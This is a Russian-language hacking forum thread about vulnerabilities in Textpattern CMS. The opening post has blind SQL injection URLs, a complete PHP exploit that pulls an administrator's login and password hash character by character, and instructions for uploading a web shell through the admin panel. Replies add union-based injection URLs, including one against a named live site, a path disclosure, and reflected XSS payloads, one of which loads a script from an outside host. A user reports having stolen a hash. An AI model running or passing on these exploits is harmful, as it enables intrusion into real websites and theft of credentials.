CMS Textpattern

Discussion in 'Веб-уязвимости' started by Grey, 5 Jan 2008.

  1. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    CMS Textpattern

    Сборка: TXP-Компания - другие продукты не смотрел, возможно эта же уязвимость есть и в них.
    Версия: textpattern 4.0.3rev1228ru - возможно и другие версии

    Офф сайт: http://textpattern.ru/
    Скачать: http://textpattern.ru/faq/gde-mne-skachat-distributiv-cms - дальше выбираем (2. Если Вам нужен движок для сайта фирмы, то можно скачать готовую к использованию TxP-Компанию ;)
    Для поиска сайтов с таким двигом: "TXP-Компания" или "Сайт работает под управлением Textpattern" - но тогда есть шанс попасть на другую сборку.

    [Слепые инъекции:]

    Code:
    http://test1.ru/goods/23+and+substring(version(),1,1)=4
    http://test1.ru/news/8+and+substring(version(),1,1)=4
    http://test1.ru/faq/26+and+substring(version(),1,1)=4
    http://test1.ru/about/12+and+substring(version(),1,1)=4
    Таблица с пользователями: txp_users - эта таблица БЕЗ префикса
    Если есть префикс то таблица выглядит так: [префикс]txp_users
    Тип хеша: mysql

    [Написал простенький сплоент (работает медленно (минуты 3-20) т.к. посимвольный брут отнимает время):]

    Для наиболее оптимальной эксплуатации рекомендуется использовать скрипт https://rdot.org/forum/showthread.php?t=7

    Сплоент выдирет логин и хеш пароля пользователя с заданным id.

    PHP:
    <?php

    //-----------------------------------------------------------------------------
    //----Coded-by-Grey------------------------------------------------------------
    //-----------------------------------------------------------------------------
    //-----------------------------------------------------------------------------
    //-----------------------------------------------------------------------------
    //----------------------------Данные для редактирования------------------------

    $host 'test.ru'// Хост. Сайт без http:// и без / на конце, к примеру test.ru
    $port '80'// Порт.
    $dir '/'// Директория где расположен сайт, если сайт расположен в корневом каталоге сайта, то оставить /, к примеру если директория dvig, то вписать /dvig/
    $new_id '8'// id (номер) существующей новости

    $user_id '1'// id пользователя чьи логин и хеш пароля нужно выдрать
    $pref ''// Дополнительный префикс таблиц. Обычно его нету.

    //-------Дальше не редактировать-----------------------------------------------
    //-----------------------------------------------------------------------------
    //-----------------------------------------------------------------------------
    //-----------------------------------------------------------------------------

    //-------Строка содержащая ошибку

    $strerror '404 Not Found';

    //-------

    //-------Формирование пути

    $path $dir.'news/'.$new_id;
    echo(
    "Put: $path\r\n");

    //-------

    //-------Описание функций

    function func_error ($host,$port,$strerror,$path)
    {
    $s fsockopen($host,$port) or die ("Oshibka: ne udaetsy soedinitsy s hostom");
    $headers "GET $path HTTP/1.1\r\nHost: $host\r\nConnection: close\r\n\r\n";
    fputs($s$headers);
    $func_error 0;
    while(!
    feof($s))
    {
    if(
    stristr(fgets($s), $strerror) == true)
    {
    $func_error 1;
    break;
    }
    }
    fclose($s);
    return 
    $func_error;
    }

    function 
    func_zamena ($n)
    {
    if(
    $n == 1) { $n2 48; }
    if(
    $n == 2) { $n2 49; }
    if(
    $n == 3) { $n2 50; }
    if(
    $n == 4) { $n2 51; }
    if(
    $n == 5) { $n2 52; }
    if(
    $n == 6) { $n2 53; }
    if(
    $n == 7) { $n2 54; }
    if(
    $n == 8) { $n2 55; }
    if(
    $n == 9) { $n2 56; }
    if(
    $n == 10) { $n2 57; }
    if(
    $n == 11) { $n2 97; }
    if(
    $n == 12) { $n2 98; }
    if(
    $n == 13) { $n2 99; }
    if(
    $n == 14) { $n2 100; }
    if(
    $n == 15) { $n2 101; }
    if(
    $n == 16) { $n2 102; }
    return 
    $n2;
    }

    //-------

    //-------Определение версии БД

    $path2 $path.'+and+substring(version(),1,1)=3';
    if(
    func_error($host,$port,$strerror,$path2) == 0)
    {
    $version_3 1;
    }
    else
    {
    $version_3 0;
    }

    $path2 $path.'+and+substring(version(),1,1)=4';
    if(
    func_error($host,$port,$strerror,$path2) == 0)
    {
    $version_4 1;
    }
    else
    {
    $version_4 0;
    }

    $path2 $path.'+and+substring(version(),1,1)=5';
    if(
    func_error($host,$port,$strerror,$path2) == 0)
    {
    $version_5 1;
    }
    else
    {
    $version_5 0;
    }

    if((
    $version_3 == 1) and ($version_4 == 0) and ($version_5 == 0))
    {
    echo(
    "Versia BD: 3\r\n");
    echo(
    "Dalneishaia rabota ne vozmojna\r\n");
    }

    if((
    $version_3 == 0) and ($version_4 == 1) and ($version_5 == 0))
    {
    echo(
    "Versia BD: 4\r\n");
    }

    if((
    $version_3 == 0) and ($version_4 == 0) and ($version_5 == 1))
    {
    echo(
    "Versia BD: 5\r\n");
    }

    if((
    $version_3 == 1) and ($version_4 == 1) and ($version_5 == 1))
    {
    echo(
    "Oshibka: versia BD ne opredelena");
    echo(
    "Dalneishaia rabota ne vozmojna\r\n");
    }

    //-------

    //-------Определение длинны логина и хеша пароля, получение логина и хеша пароля

    if(($version_3 == 1) and ($version_4 == 0) and ($version_5 == 0))
    {
    exit();
    }

    if((
    $version_4 == 1) xor ($version_5 == 1))
    {

    //-------Определение длинны логина

    $path2 $path.'+and+length((select+name+from+'.$pref.'txp_users+where+user_id='.$user_id.'))<=20';
    if(
    func_error($host,$port,$strerror,$path2) == 0)
    {
    $f_dlina 1;
    }
    else
    {
    $f_dlina 0;
    }

    if(
    $f_dlina == 0)
    {
    echo(
    "Dlina logina bolshe 20 simvolov\r\n");
    }
    else
    {

    for(
    $i 1$i <= 20$i++)
    {
    $path2 $path.'+and+length((select+name+from+'.$pref.'txp_users+where+user_id='.$user_id.'))='.$i;
    if(
    func_error($host,$port,$strerror,$path2) == 0)
    {
    $dlina $i;
    break;
    }
    }

    $dlina_logina $dlina;
    echo(
    "Dlina logina: $dlina_logina\r\n");

    }

    //-------

    //-------Получение логина

    $login '';

    for(
    $i 1$i <= $dlina_logina$i++)
    {

    for(
    $i3 33$i3 <= 126$i3++)
    {
    $path2 $path.'+and+ascii(substring(((select+name+from+'.$pref.'txp_users+where+user_id='.$user_id.')),'.$i.',1))='.$i3;
    if(
    func_error($host,$port,$strerror,$path2) == 0)
    {
    $simvol $i3;
    break;
    }
    }

    $login $login.chr($simvol);

    }

    echo(
    "Login: $login\r\n");


    //-------

    //-------Определение длинны пароля

    $path2 $path.'+and+((length((select+pass+from+'.$pref.'txp_users+where+user_id='.$user_id.'))=16)+or+(length((select+pass+from+'.$pref.'txp_users+where+user_id='.$user_id.'))=40))';
    if(
    func_error($host,$port,$strerror,$path2) == 0)
    {
    $f_dlina 1;
    }
    else
    {
    $f_dlina 0;
    }

    if(
    $f_dlina == 0)
    {
    echo(
    "Dlina parolya ne opredelena\r\n");
    }
    else
    {

    $path2 $path.'+and+length((select+pass+from+'.$pref.'txp_users+where+user_id='.$user_id.'))=16';
    if(
    func_error($host,$port,$strerror,$path2) == 0)
    {
    $dlina_parolya 16;
    }
    else
    {
    $dlina_parolya 40;
    }

    echo(
    "Dlina parolya: $dlina_parolya\r\n");

    }

    //-------

    $password '';

    for(
    $i 1$i <= $dlina_parolya$i++)
    {

    for(
    $i3 1$i3 <= 16$i3++)
    {
    $path2 $path.'+and+ascii(lower(substring(((select+pass+from+'.$pref.'txp_users+where+user_id='.$user_id.')),'.$i.',1)))='.func_zamena($i3);
    if(
    func_error($host,$port,$strerror,$path2) == 0)
    {
    $simvol func_zamena($i3);
    break;
    }
    }

    $password $password.chr($simvol);

    }

    echo(
    "Pass hash: $password\r\n");

    }

    //-------

    ?>
    [Как юзать сплоент:]

    Отредактировать данные и юзать:

    c:\php\php.exe c:\sploit.php

    [Заливка шелла:]

    В админке (/textpattern/):

    1) Выбираем Настройки - Плагины - а дальше правим код (php) и получаем на соответствующей странице шелл.
    2) Содежрание - Файлы, заливаем шелл, шелл будет доступен по адресу:

    /files/shell.php
     

    Attached Files:

    #1 Grey, 5 Jan 2008
    Last edited by a moderator: 25 Jul 2011
    10 people like this.
  2. citycat

    citycat New Member

    Joined:
    3 Jan 2009
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    Спасибо за способ. Хэш достал.
    Теперь не подскажете как этот хэш расшифровать?

    Это получается MySQL хэш?

    Grey: подскажу, но вообще поиск юзать нужно.
    Почитай тему: https://forum.antichat.ru/thread26983.html
    Потом запость свой хеш в соответствующую тему: https://forum.antichat.ru/forum76.html - там тебе с ним помогут, + в том разделе есть специальная тема для вопросов.
     
    #2 citycat, 4 Jan 2009
    Last edited: 4 Jan 2009
  3. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Выдаёт чет eval`d code =_=.Как с этим бороться ?
     
  4. _iks_

    _iks_ Member

    Joined:
    21 Feb 2009
    Messages:
    60
    Likes Received:
    59
    Reputations:
    61
    Эх, увидел CMS до этой темы, всё уже найдено. (

    Впрочем, вот что ещё можно добавить к сказанному выше:

    SQL-иньекция(обычная)
    http://pek.zp.ua/atom/?id=-1+union+select+version%28%29

    Вывод в заголовке

    SQL-иньекции в админке:

    Code:
    http://txtpattern/textpattern/index.php?event=article&step=edit&ID=-4+union+select+1,2,3,4,5,6,7,8,9,version%28%29,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38
    Code:
    http://txtpattern/textpattern/index.php?event=link&step=link_edit&id=-2+union+select+1,2,3,4,5,6,7
    Code:
    http://txtpattern/textpattern/index.php?event=category&step=cat_article_edit&id=-5+union+select+1,2,3,4,5,6,7

    Раскрытие путей:
    http://pek.zp.ua/?q[]=

    Также максимально подробная информация о сайте доступна из админской панели
    ../textpattern/index.php?event=diag​

    Ну и несколько XSS-ок для админа:

    (все в админской панели)

    Code:
    http://txtpattern/textpattern/index.php?event=log&step=list&page=2%22%3E%3CsCript%3Eprompt%28%27%27%29;%3C/sCript%3E
    Code:
    http://txtpattern/textpattern/index.php?event=tag&name=image&id=1%27&ext=.gif&alt=&h=1&w=400%22%3C/textarea%3E%3E%3CscRipt%3Eprompt%28%27%27%29;%3C/sCript%3E&type=xhtml
    Code:
    http://txtpattern/textpattern/index.php?event=page&name=%3Cscript%3Eprompt%28%27%27%29;%3C/sCript%3E
     
    4 people like this.
  5. killrok6

    killrok6 New Member

    Joined:
    30 Jul 2010
    Messages:
    33
    Likes Received:
    3
    Reputations:
    0
    Пассивная XSS в Textpattern 4.2.0

    http://site.com/textpattern/index.php?event="><SCRIPT%20type%3Dtext/javascript%20src%3Dhttp://httpz.ru/y3c8l1t9awgo.js></SCRIPT>"